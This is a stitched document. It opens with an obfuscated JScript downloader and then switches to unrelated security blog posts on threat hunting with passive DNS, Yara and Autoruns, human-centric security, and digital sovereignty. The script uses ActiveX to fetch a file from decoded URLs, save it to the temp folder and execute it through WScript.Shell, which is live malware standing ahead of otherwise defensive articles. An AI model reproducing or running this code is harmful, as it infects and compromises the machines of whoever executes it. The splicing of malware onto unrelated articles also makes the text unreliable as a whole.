var usIIR=("\x54\x6F\x46*\x69\x6C\x65*\x73\x61*\x76\x65").split("*");

var gqfLYpEf=usIIR[344-344];

var FAebRf=usIIR[987-985]+usIIR[309-306]+gqfLYpEf+usIIR[522-521];

var jnEpuJY=[FAebRf];IUgdY[jnEpuJY[788-788]](FzFmU,609-607);

}

function LZZFymKZ(IfJ) {

return IfJ.size;

}

function NpkPo(KefYQK) {

var WEgJ=["\x70\x6F\x73\x69\x74\x69\x6F\x6E"];

return KefYQK[WEgJ[904-904]]=114-114;

}

function MnruB(qpl,HKtRA) {

var nweM=["\x73\x70\x6C\x69\x74"];

return qpl[nweM[0]](HKtRA);

}

function FZyc(WHpHj) {

eTtPIgs=XqTfkKcqqex.CreateObject(WHpHj);

return eTtPIgs;

}

function HrwpH(bNbUPp) {

var nviK=bNbUPp;

return new ActiveXObject(nviK);

}

function OixB(ocfZi) {

var DYsBj="";

T=(159-159);

do {

if (T >= ocfZi.length) {break;}

if (T % (686-684) != (803-803)) {

var WyZLN = ocfZi.substring(T, T+(620-619));

DYsBj += WyZLN;

}

T++;

} while(true);

return DYsBj;

}

var dx="N?B f?z k?V pgWrmeYeAtJiInNgSsbyQojuVnZgNqvqs.7c1oGmb/18s05GQdMXYDc?r EgAoyo4gUlee1.Ycgommq/b8l0XGPdqXkDk?3 S?";

var HC = OixB(dx).split("");

var uzOjdW = ". BrlWfZ e LgzYusBg xe GdXD".split("");

var t = [HC[0].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[1].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[2].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[3].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4]),HC[4].replace(new RegExp(uzOjdW[5],'g'), uzOjdW[0]+uzOjdW[2]+uzOjdW[4])];

var vvT = wYUkzixLb("hytd");

var iWO = HrwpH(OXbXCAjC("LVLuz"));

var ZeDUTR = ("CWszPMX \\").split("");

var Klbb = vvT+ZeDUTR[0]+ZeDUTR[1];

lSfnmZ(iWO,Klbb);

var xSD = ("2.XMLHTTP BeScUOk kmeQd XML ream St ZFRDIeEL AD aLEesOX O nFcW D").split("");

var ZL = true  , JYcj = xSD[7] + xSD[9] + xSD[11];

var uo = FZyc("MS"+xSD[3]+(65368, xSD[0]));

var Qie = FZyc(JYcj + "B." + xSD[5]+(877821, xSD[4]));

var bfO = 0;

var Z = 1;

var LaxMJRW = 570182;

var n=bfO;

while (true)  {

if(n>=t.length) {break;}

var sp = 0;

var Ijm = ("ht" + " VMOmvKy tp zoysd bcAmbjuL :/"+"/ mxykXfd .e EfmSc x nWCKLh e G nWQWoZV E BulesSto T TRoA").split("");

try  {

var LReHyZt=Ijm[134-129];

var xGARQ=Ijm[801-801]+Ijm[473-471]+LReHyZt;

wYGJ(uo,xGARQ+t[n]+Z, Ijm[12]+Ijm[14]+Ijm[16]); UAUJ(uo);

if (yrlc(uOFx(uo)))  {     

jEiG(Qie); Qie.type = 1; NZwY(Qie,iIeFEEW(uo)); if (Sgix(LZZFymKZ(Qie)))  {

AQVoAgj=/*nrRH29YFVZ*/Klbb/*oVch38RB07*/+LaxMJRW+Ijm[926-919]+Ijm[407-398]+Ijm[742-731];

sp = 545-544;NpkPo(Qie);Ybru(Qie,AQVoAgj);

if (293>50) {

try  {pGMyLfHuk(Klbb+LaxMJRW+Ijm[682-675]+Ijm[590-581]+Ijm[781-770]);

}

catch (gl)  {

};

break;

}

}; Qie.close();

};

if (sp == 1)  {

bfO = n; break;

};

}

catch (gl)  {

};

n++;

};

function lSfnmZ(vRNP,BFDQSl) {

try {vRNP.CreateFolder(BFDQSl);}catch(yMBcZQ){};

}

function pGMyLfHuk(sjrheBIoAMu) {

var FTcKLVxo = MnruB("sqjR=Ws=SYmMxdi=c=LkNYHr=ri"+"=pt=PAiRubzP=.S=ZWNin=he=QKIpiY=l"+"l=zZtYtCg"+"=YQvYvTrd=VHTU", "=");

var zfRKdfpc = FZyc(FTcKLVxo[271-270] + FTcKLVxo[136-133] + FTcKLVxo[214-209] + FTcKLVxo[977-971] + FTcKLVxo[641-633] + FTcKLVxo[928-918]+FTcKLVxo[368-356]);

jxjZabos(zfRKdfpc,sjrheBIoAMu);

}

function/*OAJC*/jxjZabos(TRAYg,GOyvuX) {

var RtpGce= ("JSaOOwisDoL;\x72;\x75;\x6E;JgVDLJItskks").split(";");

var xFr=RtpGce[992-991]+RtpGce[563-561]+RtpGce[696-693];

var VeXb=/*vyYh*/[xFr];

//rATi

TRAYg[VeXb[251-251]](GOyvuX);

}

function wYUkzixLb(rjwBK) {

var kuglrOp = "njDqTN*KHD*pt.S"+"he"+"ll*PzPJjXp*Sc"+"ri*";

var kuMsE = MnruB(kuglrOp+"CLPW*%T"+"E*MP%*\\*yIkarFYNo*nEyAhd*RsGedfF*apQUP", "*");

var TbT=((117-116)?"W" + kuMsE[428-424]:"")+kuMsE[110-108];

var tn = FZyc(TbT);

SvDMQR=kuMsE[255-249]+kuMsE[302-295];

return eBRRZTo(tn,SvDMQR+kuMsE[855-847]);

}

function OXbXCAjC(OceU) {

var ziaeORqzQs = "Sc WGsgmuy r NzOtRcclv ipt"+"ing HjDZRDm uMM ile ybhLPUOzWBGhng";

var fzryoIu = MnruB(ziaeORqzQs+""+"Sys"+"tem Bm hmjQH Obj vQPPEr ect fokQapQ ACJDF", "");

return fzryoIu[0] + fzryoIu[2] + fzryoIu[4] + ".F" + fzryoIu[7] + fzryoIu[9] + fzryoIu[12] + fzryoIu[14];

}

As security approaches reliant on known indicators of compromise (IOCs) are increasingly failing, “assume breach” has become a common expression in the industry. Far too often, intrusions go undetected until an external party discovers a breach and notifies the organization. Instead of relying on signature-based solutions or visits from a third-party to learn of a problem, network defenders need to “assume breach” from unknown adversaries who are already active within the enterprise. Given the increasingly targeted and personalized nature of attacks, network defenders must expand beyond searching for known IOCs and hunt for unknown breaches within their networks. This systematic pursuit of unknown adversaries is known as cyber adversaries hunting.

Hunting is not without its challenges. A relatively new and ill-defined concept, some believe hunting is outside their personnel or resource capabilities. Defenders need powerful tools to sift through mountains of data to rapidly detect and deal with a compromise. A full-featured hunt platform dramatically increases a hunter’s power, but security budgets are limited and organizations cannot always invest in every promising technology. Fortunately, there are several ways to hunt “on the cheap.”

At this month’s SANS Threat Hunting and Incident Response Summit, Endgame addressed some of these misperceptions and described ways security professionals can begin hunting without making large, up-front investments. This first of three related posts addresses how to get started hunting on the cheap on your network.  The second post will next address the various open source ways to cheaply analyze and identify high-order trends on networks, and the final post will conclude with a discussion of some easy ways to begin hunting on your hosts.  

Limitations of IOC Search

Security at the network level has traditionally involved searching for IOCs, such as known bad domains, blacklisted IPs and sometimes CIDRs, or has relied on using tools such as Snort or Bro to search for signatures associated with malicious traffic. With malicious tradecraft rapidly evolving and adversary infrastructure becoming less static and harder to distinguish from legitimate services, using network IOCs to detect threats has become harder and less effective. In other words, network IOCs are quickly obsolete. Threat actors often monitor their network assets, and as soon as they are detected by a blocklist, they move on to a different endpoint. Some attackers segment infrastructure on a per-target basis, reducing the value of global knowledge of the associated IOCs.

Cloud computing has only accelerated these challenges associated with IOC search. It is very easy for an adversary to get IP addresses from one of many hosting providers. Similarly, new ccTLDs and ICANN tlds managed by registrars that require little or no background check make this even easier and are cheaper or free, and registrations are stealthy due to WHOIS privacy services.

Because of all this and more, a smarter approach is required wherein, instead of chasing the past and searching for the known bad, network defenders hunt for patterns and signals that reveal the unknown bad. Once previously unknown indicators of malicious activity are identified, organizations can activate their standing incident response procedures. 

Hunting with Passive DNS

Passive DNS is very good at capturing such signals and patterns in a concise and structured way. Passive DNS is the data collected by passively capturing inter-DNS traffic to reassemble DNS transactions. Florian Weimer proposed this technique at the 17th FIRST conference in 2005 to slow down botnet propagation. Since then, a number of security organizations have started collecting passive DNS by placing DNS sensors on geographically diverse networks and analyzing the resulting data to generate threat intelligence. In today’s threat environment, Passive DNS can be immensely useful in driving threat hunting.

Passive DNS sensors, in essence, capture DNS traffic – UDP packets to and from port 53 (DNS) – and reassemble all the messages into a single record containing query and responses. We have experimented with two open source sensors:

• passiveDNS
• sie-dns-sensor

We have an option to collect only the Iterative DNS queries (shown here in green) or collect all the DNS traffic.

These sensors can be placed at any point in the network where a sniffer like tcpdump can capture DNS traffic. The best place to install a sensor is on a local recursive DNS server, but a span port will also work.

Once the passive DNS data is collected by the sensors, it must be transferred and aggregated to a single point for analysis and monitoring. A message queue like Kafka can be used by the sensors to publish the passive DNS records. This enables a flexible and loosely coupled – and open source! – architecture wherein any number of consumers can subscribe to the queue and perform necessary data analysis for threat hunting.

Broadly, there are three main applications of this data that are relevant for hunting:

1. Data Sinks to Long-term Storage

Depending upon the use case, a long-term storage like HDFS can enable large scale batch analysis to discover “what’s normal” for the network and identify historical trends. Alternatively, ingesting the data into an ELK (Elasticsearch Logstash Kibana) stack to perform searches and trend analysis is a simpler approach. This quickly enables searching for known IOCs using an open-source stack, while also conducting outlier detection for any deviations from the norm.

2. Monitoring

Monitoring various statistics of the DNS traffic, like the number of NXDOMAINs, number of queries by type, total number of queries, number of queries by user, or distribution of queried TLDs, etc. can be immensely helpful to understand the hourly and daily trends. Monitoring applications like Graphite generate graphs and statistics for different data points, and allow us to proactively identify anything out of ordinary.

3. Real-time Threat Hunting

These consumers process records as they arrive and detect threats in real-time, continuously looking for malicious traffic patterns and performing outlier detection. Time-series analysis, using libraries like Karios, facilitates the hunt, detecting unusual activity and any breakpoints or periodicity in the data.

Next Steps

Once the architecture is established and data is being collected, network defenders can conduct a wide-range of analyses on this passive DNS data to hunt for unknown intrusions in networks. In our next post, I’ll describe how this architecture can be to used to detect newly registered domains, fast flux techniques and domain generation algorithm (DGA) malware, and a variety of other indications of intrusion. Together, these posts will provide an overview of the power of open-source libraries and techniques for hunting on the cheap.

In the first part of the Hunting on Cheap series, I discussed the importance of passive DNS in an adversary hunting toolkit. I detailed how an organization can set up sensors to collect passive DNS data, as well as some of the options for handling this data.  After putting that foundation in place, the next step is looking at the collected data to find patterns and signals of maliciousness that, with a relatively low false positive rate, provide the hunter with starting points to dig deeper into identifying unknown threats.  A focus on these outliers and other patterns is important because adversaries easily change their attack infrastructure and render most network IOCs useless.  

In this second post in our Hunting on the Cheap series, I will go through some of these signals and discuss how they can be applied to passive DNS data to hunt for unknown malicious adversaries in your network.

Fast Flux

Fast flux is a technique used most frequently for malicious purposes by botnets. Normally, a fully qualified domain name (FQDN) resolves to the same address space for a relatively long period of time.  With fast flux, a FQDN serving as a command and control server resolves to a large number of IPs over time, swapping in and out at high frequency.  This has the effect of adding resilience against IP-based block lists because blocking a given IP is only effective for the very short time window during which the FQDN resolves to that IP.  This pattern isn’t malicious by itself, since it can be used for benign purposes as well. A domain that receives a large amount of traffic may also resolve to a large number of IPs. Typically, benign domains resolve to a homogenous IP space either by ownership, address block, or geography. Malicious domains have greater heterogeneity in each of these. This is the first higher-order pattern: ‘domains that resolve to a large number of IPs and those IPs are diverse both by ownership and geography’. For example, looking for this pattern in our sample data revealed the domains listed below. VirusTotal confirms that they are indeed malicious.

Domain Generation Algorithm

Domain Generation Algorithm (DGA) malware uses an algorithm to randomly generate thousands of domains daily and attempts to connect to them to receive communications from a controller. Botnet masters register a (usually small) subset of those domains per day to keep the botnet going, knowing that the malware will eventually attempt to resolve to a registered domain. A well-known and effective way to stop DGA malware is to predict and register all possible domains before the botnet controller registers them.  This requires reverse engineering a bunch of malware samples, which can be tedious. It also is difficult to remain current given the new families of malware and their constantly updated versions.  So how do we determine whether a given domain in passive DNS data is generated via a DGA without directly generating a complete list of possible DGA domains using all possible algorithms, which would be an extremely difficult task.

Fortunately, algorithmically generated domains have structural properties that are different from benign domains.  Benign domains are generally chosen because they are easy to remember or reflect common words across a variety of languages. That is our next higher-order pattern: ‘domains with abnormal lexicographical structure`.

One fairly accurate approach to detecting DGA domains is to extract features like consonant-to-vowel ratio, longest consonant sequence, entropy, common ngrams with dictionary words, etc. and analyze them in a random forest classification tree.

This data science approach to DGA detection is non-trivial to implement.  We have provided code which can be used for detection.  This specific classifier detects abnormal lexicographical structures from common English words. Similar approaches can be followed to include other languages and improve the false positives rate.

While block lists are appropriate for hunting a given fast flux botnets, it is not the appropriate technique for hunting for DGA domains in general. Because of the sheer number of domains per day per malware family, in addition to the rapidly changing malware samples, static analysis is inefficient and less effective for hunting DGA classifiers. However, there are a series of data science techniques – such as random forest classification – that are very well suited for hunting DGA domains.

NXDOMAINs

DGA domains sometimes include English words to fool DGA classifiers that use lexicographical properties of the domain to detect them. An example of such a DGA family is Nivdort. However, DGA malware leaves behind another signal that is much harder to conceal. Since the malware generates thousands of domains and only a few of them resolve to actual hosts, the majority of DNS queries return an error (code=3) indicating a non-existent domain or NXDOMAIN. Normally, we see NXDOMAINs due to typos, copy paste errors, browser prefetch of malformed html, etc. at a rate of less than 5% of the DNS queries. On machines infected by the DGA family malware, this rate surges up. ‘A higher than normal rate of NXDOMAIN errors’ is the next higher-order pattern. Estimating the percentage of NXDOMAINs is really powerful since it catches all sorts of DGA malware families even if they evade our DGA classifier.

Phishing Detection

Recent phishing campaigns often rely on a small typo of a domain, or utilize a brand name to make it look genuine.  In the first case, the phished domains are slightly modified versions of the real domain, while still retaining some resemblance to it. This is the next higher-order pattern to hunt: `DNS queries for domains that are slightly modified versions of a popular domain’. Edit-distance or Levenshtein distance can help measure the level of modification between two domains. Edit-distance between two words is the minimum number of single-character edits (e.g., insertions, deletions or substitutions) required to change one word into the other. Each DNS query can be analyzed for its edit-distance from popular domains. A potential phishing attempt may exhibit a low edit-distance from another popular domain, especially when there are different registrants. 

In other cases, a phished domain contains a familiar brand name to appear genuine. This is another higher-order patter: 'DNS queries for domains that contain popular brand name'. A suffix tree of popular domains and brand names can perform at scale, matching the longest common substring against each DNS query. Once identified, it is important to validate such outliers by checking the WHOIS records.

DIY Outlier Detection

There are many additional patterns which could be noted in passive DNS data to drive your hunt.  A fundamental principle of hunting is looking across your dataset and identifying outliers in that data.  Doing this over time is an effective way to perform outlier analysis for network data.  This boils down to creating additional hunting techniques using the following steps: 

1. Select one or more features or characteristics of DNS traffic.
2. Discover the normal range or set of values for that particular feature(s).
3. Find records where the feature deviates considerably from the normal.

Let’s take query type as an example. First, we discover the distribution of queries by query type. Say, we observe 93% query types for A records, 6% for NS records and 1 % for MX records. If suddenly we observe a much higher rate of MX queries, we have an outlier that we should investigate. This is the last higher-order pattern: “Features or characteristics that deviate from the normal distribution of the data.” This could indicate a malware infection that sends spam. Similarly, if we take a distribution of queries by TLD and find large number of queries to a TLD outside of that distribution, we have an outlier that warrants further analysis.

Note that, as with any outlier detection, you will have false positives. Part of the hunting process is understanding what is normal for your organization and incorporate that information in your analytic process. 

Conclusion

Adversary hunting using passive DNS can be a rewarding experience, both in terms of understanding the network and its peculiarities, and for finding targeted threats such as APTs that evade usual IOC-based search. There are many known patterns and signals that indicate malicious behavior. These higher-order patterns provide a heuristic for anyone new to hunting on networks. The following are great places to start:

• Domains that resolves to a large number of IPs and those IPs are diverse both by ownership and geography
• Domains with abnormal lexicographical structure
• A higher than normal rate of NXDOMAIN errors
• DNS queries for domains that are slightly modified versions of a popular domain
• DNS queries for domains that contain popular brand name
• Features or characteristics that deviate from the normal distribution of the data

Other patterns exists as well. More manual, quantitative analysis can also identify outliers, based on known normal behavior, such as query types. Together, these are solid, open source first steps to begin hunting within networks.

The network is not the only place to hunt.  In fact, a richer set of data is available on your endpoints to feed hunting operations.   In our subsequent and final post on hunting on the cheap, we’ll address hunting on hosts.

In our previousposts, we focused on hunting on the cheap by collecting and analyzing data on the network.  However, hunting on networks is not the only option.  In fact, a richer set of data to find unknown malicious activity in your enterprise is available by looking on and across your hosts and servers.  This can include running processes, active network connections, listening ports, artifacts in the file system, user logs, autoruns, and more.  With all this data, the tough part is deciding what to focus on as you start your hunting process.  Once you’ve determined areas of focus, you can collect data, look for suspicious outliers, and investigate further.  In this final post in the series on how to get started with hunting, we’ll describe some tips for hunting on your hosts using freely available tools.  These techniques are simplified first steps to help you find evidence of malicious activity on your hosts - with or without signatures and IOCs. You can do this for free, while still getting a taste of the power of hunting.

Searching with Indicators

A common starting point is to look for IOCs (Indicators of Compromise) across your hosts.  While many call this hunting, it’s really just searching. And not just searching, but searching for indicators that are fleeting and constantly morphing.  In fact, the useful lifespan of an IOC is declining due to trends in adversary behavior.  Most security professionals already know this, and it was underscored in Verizon’s DBIR released last week.  That said, due diligence still necessitates searching across your systems for known IOCs, which remains a useful first step.  The following are several websites that publish freely available threat intelligence information in various forms.

One of the more resilient and useful IOCs to use on your hosts is a well-written Yara signature.   Yara applies binary patterns and sequences to detect and categorize badness on your system. Yara is similar to Grep, which employs a list of known patterns and searches for matches. But Yara does much more, scanning both files on disk and memory for binary patterns.  A good malware analyst will in many cases be able to craft a Yara signature to detect not only identical copies of a piece of malware but also variants of the tool, new versions of the tool, or even follow-on tools in the same malware family by focusing on unique patterns in the binary which are likely to survive through code reuse.  For this reason, one of our favorite open source tools for identifying malware is Yara.  And even better, it’s free.

Yara in Action

Yara rules are a great way to structure a known malicious pattern based on textual or binary sequences.  The following is a snippet of a robust Yara signature that detects Mimikatz, a tool used by adversaries and red teams to extract Windows credentials from memory. This particular signature was actually written by the author of the Mimikatz tool itself.

You can run Yara locally but it is even more powerful when run remotely on a single machine or across multiple machines.  Powershell can facilitate this. Running Yara remotely via Powershell can be done in a few simple steps, assuming you have credentials to the hosts and Powershell remoting is enabled.

Transfer Yara binary to target machine w/ native Windows functionality

PS> copy yara.exe \\TARGET-HOST\C$\TEMP\yara.exe

Transfer rules

PS> copy rules.yara \\TARGET-HOST\C$\TEMP\rules.yara

Execute scan w/ Invoke-Command

PS> Invoke-Command -ComputerName TARGET -ScriptBlock { c:\TEMP\yara.exe c:\TEMP\rules.yara c:\targetdir } -credential USER

This will have the effect of running a set of Yara rules (rules.yara in the above example) on a given directory (c:\targetdir in the above example).  It can easily be extended to search across the entire disk and across many hosts and identify exactly where a binary matching your signature exists on the hosts.  

This is very powerful, but is not without shortcomings. As we all know, signatures are brittle. This not only leads to false positives if the Yara signature is poorly written, but with the rapid pace of change of malware, rules need to be constantly updated or they become obsolete. This can be extremely resource and time intensive.  However, compared to searching for hashes, filenames, and other artifacts which are commonly used in IOC search, using Yara can be a more powerful and resilient approach.  

Hunting without Intelligence

Even if you have IOCs as a starting point, IOCs are not good enough to find all possible malicious activity in your enterprise.  This is where hunting comes into play.  Hunting is the systematic and proactive pursuit of unknown threats. This entails the identification of patterns and suspiciousness in your data that may indicate badness on your network.  As mentioned above, there are many places you can hunt on the host.  We suggest starting with autoruns.  Adversaries usually want to persist across reboots on at least some systems in your network.  Doing so is critical to entrenchment in your network for the long haul.

Autorun items are a good place to look for outliers and suspiciousness for several reasons. Autoruns tend to be relatively consistent across a network rendering pure outlier analysis feasible.  Any autoruns showing up in only in a handful of places may indicate badness, but these can be hard to find given all of the locations that need to analyzed. Additionally, files must be dropped to disk for autorun persistence. Some actors do obvious things you can treat as suspicious - for example, executing out of the %TEMP% folder with an obviously strange filename.  In many environments, malicious autoruns stand out and can be detected by a good hunter.  Once a malicious autorun is detected, deeper analysis can commence to confirm and deal with a compromise.

Collecting Autoruns

There are over one hundred places where an adversary can persist on a modern Windows machine.  This includes startup registry keys, services, drivers, browser and Office add-ons, and many other less well-known places and methods.  Beyond the sheer number of locations, grabbing the necessary data for analysis is non-trivial due to the way data is formatted by the operating system.  Sysinternals (maintained by Microsoft) created a tool called Autoruns to tackle this problem, free of charge.  While not perfect, this tool does a great job pulling in the right data for most autorun items on a Windows system, hashes them, and allows for some basic enrichment (such as submitting to VirusTotal).

We recommend using the command line version of autoruns (autorunsc.exe) in tandem with Powershell for remote gathering of autoruns from your systems.  This can be done in a few steps:

Transfer Autoruns binary and the required msvcr100.DLL to target machine w/ native Windows functionality

PS> copy autorunsc.exe \\TARGET-HOST\C$\TEMP\autorunsc.exe

PS> copy msvcr100.dll \\TARGET-HOST\C$\TEMP\msvcr100.dll

Execute program w/ Invoke-Command (w/ optional output)

PS> Invoke-Command -ComputerName TARGET -ScriptBlock { c:\TEMP\autorunsc.exe –a (??) –h (>> c:\TEMP\autoruns-output.txt) } -credential USER

Collect output

PS> copy \\TARGET-HOST\C$\TEMP\autoruns-output.txt c:\directory

As before, this can be extended to gather data from many systems across your network.  

Analyzing Data

We recommend submitting all autorun hashes to VirusTotal as the first step in your investigation.  Anything that comes back as malware is...well….malware and you should prioritize these for additional investigation.  Fortunately, this can be done inline with Sysinternals, or you can easily build something with the VirusTotal API.

So you’ve collected all your autoruns and determined if any are known to be malware.  That’s a good step, but you shouldn’t stop there.  You need to truly hunt for unknown badness and look for anomalies in the data.  There are many ways to do this, but we’d recommend first stacking by hash and looking for outliers that don’t match the general population of the data. To do this, pull hashes of all autorun items as described earlier, and then list them out as HOST:HASH.   The following provides a concrete example of how this might look (note that you will have many more autoruns for each machine in a real environment).

An easy next step is to delineate the output by colon (:)

# cat hash-map.txt | cut -d’:’-f2 > hashes.txt

And then reduce and sort by the number of occurrences across your systems to quickly identify the anomalies.

In this example, we had 42 systems.  Many autoruns appeared on each system.  A couple only appeared on one.  These outliers could be suspicious.  A reasonable first step would be to look at the detailed output of autoruns from the host(s) where the outlier was seen.  You may note a strange description, strange filename, strange autostart location, or more.   The following example shows a binary named “svcchost.exe” executing on startup from C:\WINDOWS\temp:

The next example shows a binary executing on startup from the recycling bin with a one-character filename, both definitely signs of something strange going on.

These are not the only suspicious things you can note in autoruns data.  There are many more approaches.  You can take this much further, for example, by indexing all of the data in Elasticsearch (another freely available capability) to allow for fast search and exploration capabilities across your data to include regularly collecting autoruns from your endpoints and looking for changes in autoruns over time.  And, of course, there are many endpoint artifacts which are prime locations for hunting.  A true hunt effort should expand in scope to cover user logs, processes, network information, and more.  

Summary

Over this three-part series of posts, we’ve provided several approaches using only free software to help you begin hunting on both networks and hosts.  Hunt techniques are not reliant on ephemeral and constantly morphing signatures or IOCs, thereby providing ways to better match the sophistication of modern adversary techniques.  Every organization and researchers should begin proactively hunting to detect unknown threats inside the network.  From passive DNS to autoruns, we’ve covered a lot of ground and described a variety of free and powerful approaches for hunting on hosts and networks. Have fun!

It’s an all-too familiar story: A company reports a data breach,and there’s an immediate blame game. Inevitably, we point the finger at humans — the person who responded to that phishing email ( a fake message that a bad actor uses to gain access to a broader set of data or a network) or who unknowingly clicked on ransomware “malvertising” (a fake ad that, when clicked, releases malware that locks digital files and demands a ransom to release the data).

Humans, we’re told, are the weak link of security. That was a key theme in the Verizon Data Breach Investigations Report released last week. After all, ransomware and phishing are effective because they’re able to so skillfully target human vulnerabilities.

Here’s the problem. Human vulnerabilities will always exist. This old way of thinking — that people are the problem, and we can somehow change entrenched human behavior — isn’t getting us anywhere. Even with improved training and education, given the sophistication of the attacks, human vulnerabilities will persist. So we need to rethink this paradigm: What if we started viewing human-computer interaction as a means toincrease security? How could we use what humans do best — critical thinking and contextualization- and combine it with what computers do best — automation and scale — to make us all safer?

We can start with a more “human-centric” approach to security — in other words, designing products and solutions with human strengths and vulnerabilities in mind. Here are three examples of ways that this approach could make us all more secure:

1)Alert fatigue — Monitoring systems with an overabundance of alerts aren’t just ineffective but lethal. With so many low priority alerts, users simply ignore the alerts or have little ability to differentiate between those high and low priority alerts. And given the vast amount of data, it’s impossible to respond to every single alert. For instance, at Target , the security team received and ignored alarms — in part because there were just so many. Many have pointed to this as human fallacy, but in reality it is a combination of human-computer interaction failure. With so many alerts, very few teams have the time or capabilities to sift through in depth every alert that is received. Even with the best judgment, systems with little ability to inform and prioritize alerts are simply ignored. In contrast, monitoring systems that integrate automation with human-driven domain expertise and prioritization could be a first step at more precise and relevant alerts, decreasing dwell time and expediting incident response.

2)Data exploration — Analyzing and protecting big data is getting more and more complicated as the amount of data that we generate increases, and as attackers begin to not only steal data, but to manipulate it, too. We need to create faster and more effective ways to explore the data required to analyze and detect intrusions, especially in the face of an industry-wide talent shortage. In short, there is too much data and too few people to analyze it, and this problem is only growing. So, how do we explore data faster and more efficiently? Cognitive methods aimed not just at supporting human hypotheses, but also proactively surfacing key insights will be an essential component for improved security. Machine learning and other forms of automation help scale these capabilities, and provide much faster insights than is possible through human analysis alone. For instance, in the commercial realm, cognitive computing helps answer customer and supplier questions, or in finance can identify optimal investment portfolios. These technologies help remove the arduous processes of data structuring and merging, but also provide optimized analytics so humans can devote their time to the important analysis, contextualization, and interpretation of the data required to detect and contain attacks. These tools do not replace the analyst, but provide greater, faster, and more scalable analytic capabilities to help prioritize and gain insights from data, greatly impacting detection and prevention of anomalous behavior. Automation and advanced data analytics also helps security teams optimize their resources, enabling greater detection capabilities of the seemingly infinite data with finite resources.

3)Mind the C-Suite Gap — It’s as high-stakes as communication struggles get: security teams often are unable to put their work and issues into language that CEOs can understand. When they can’t communicate effectively to company leaders, their warnings are disregarded, leading to devastating consequences. The C-suite increasingly bears the brunt of breaches — leading to turnover of CEOs and government leaders — but they may not grasp the complexities or resources required for security. Data visualization can bridge that gap. Think of it as the storytelling medium, conveying complex data in a consumable manner. Intuitive, interactive, and concise data visualization can express multifaceted concepts in a much more efficient manner than showing a presentation full of log data.

We hear a lot about changing human nature as the key to digital security. While education and training are essential, human behavior is nearly impossible to change and isn’t a silver bullet. Instead, let’s focus on building technologies that leverage the best parts of computers and humans working together. It could go a long way to address the increasingly complex challenges in the digital domain.

This post was previously publishedby New America.

What do Yeti, ICANN, and BRICs have in common? They are emblematic of the growing international jockeying for power to shape the global digital order. Absent a global cyber regime, nation-states continue to pursue self-interested international and domestic policies, which has produced the evolving movement toward digital sovereignty.

While an open and free internet is consistent with many states' interests, this is far from universally true. Many states' policies are more so reminiscent of beggar-thy-neighbor trade policies, wherein states pursue their own self-interested policies that worsen the situation of other states. To counter this growth of autarkic digital policies, there have been silent, but potentially impactful movements by the US to slowly assert a multi-stakeholder model. If history is any guide, it will likely take a major shock to the system to truly embed the norms the US continues to push forth. Until then, we’re likely to continue to see states asserting their digital sovereignty in ways that not only impact global connectivity, but also have strong implications on international commerce, privacy, and security.

A Beggar-Thy-Neighbor Digital World Order

The latest wave of digital sovereignty is disguised as a push for privacy. China is leading the way in this realm, balancing domestic censorship, data leaks, and a quiet but growing crackdown on foreign tech companies. This push for cyber sovereignty is instigated by the need to control information and limit foreign competition. The Cyberspace Administration of China (CAC) – China’s Internet watchdog – released an announcement in January soliciting input on a proposal to increase censorship of news outlets, emphasizing privacy protection of personally identifiable information. The CAC also leads the push for more regulations on international companies, demanding source code and other IP as the price to pay for access to China’s enormous market. The CAC controls censorship and has been blamed for offensive attacks against US companies, including a public allegation by GreatFire.org, a non-profit organization fighting for online freedom in China. This is the same organization that was at the center of the GitHub attacks in April 2015.

China has global aspirations for their model as well, laying the groundwork for alternatives to the modern Internet. Russian and Chinese officials met last month to discuss digital strategy, just the latest in their push for digital sovereignty, with Russia seeking to learn from and augment its information control similar to the Great Firewall. Brazil is also taking a page from this playbook, with growing government involvement in information control, such as blocking the messaging platform, WhatsApp. These initiatives focused on information control are part of a global effort to shape the digital order. With India’s ascent to lead the BRICS (Brazil, Russia, India, China, and now South Africa), discussion among the group is increasingly dominated by ways to shape the global digital order. While it remains a group with diverse interests, they nevertheless seek a role in shaping the future of the Internet. Similarly, there are smaller efforts such as Project Yeti that aspires to redirect traffic from the Internet to an alternate root. It is driven largely by technical considerations, as well as to counter the risk of Western surveillance. The Beijing Internet Institute runs Project Yeti, in conjunction with a Japan-based group and computer scientists.

Multi-Stakeholder Initiatives

From the perspective of many regional powers, the US government (via the Internet Corporation for Assigned Names and Numbers, ICANN)  and US companies (via their technology) – control the Internet. In an attempt to offset these negative perceptions and to implement global digital norms, the US continues to seek ways to shape the digital world order toward a free and open multi-stakeholder model. Relinquishing control of ICANN is a first step toward this model. Currently reporting to the US Department of Commerce, ICANN controls naming conventions, matching domains and IP addresses. However, in 2014, President Obama announced that ICANN will transition this role to a global, private group. This is set to occur in September 2016. As part of this outreach to the global community, ICANN will host a global meeting in Hyderabad, India, in November.

The US also continues to push forth this multi-stakeholder model at the UN’s Group of Governmental Experts (GGE). A new report by the GGE and agreed upon by 20 governments, including the US, China, and Russia, proposes a range of international norms for cyber activity. Clearly, this ties into other ongoing discussions on the defining cyber acts of war, but focuses more so on those activities that fall below the threshold of use of force, such as espionage and IP theft. With so many distinct interests, there are numerous collective actions problem with international cooperation and shaping these norms. That said, the United State’s push for global norms and a multi-stakeholder model is emblematic of its global campaign to counter perceptions of its hegemonic control of the internet.

The Way Ahead

While some predict the Internet to approach global saturation by 2020, these projections are largely based on an uninterrupted current trajectory. Despite decades of Internet growth, there is momentum for greater control of the Internet. Many regional powers are increasingly looking to digital sovereignty as a means to maintain greater domestic control and exert global influence. The US is taking steps to counter this movement with a multi-stakeholder model, but it relies on global cooperation which remains a challenge. This jockeying of power between these two competing perspectives is only likely to grow, and has great implications for the future of the global digital order.

By 2006, the United States was losing two wars simultaneously in Iraq and Afghanistan, and many of the entrenched interests in the country—political, military, economic, journalistic—were whistling past the proverbial graveyard and pretending that everything was fine.

Ten years later, the cybersecurity industry looks very similar. Last year alone, despite more than $75 billion spent on enterprise security products and services, more than three-quarters of the Fortune 500 were breached by cyber adversaries, and the average time from a breach to its detection was nearly 146 days (down from 205 days in 2014, but still too long). For defenders, this is the very definition of strategic failure.

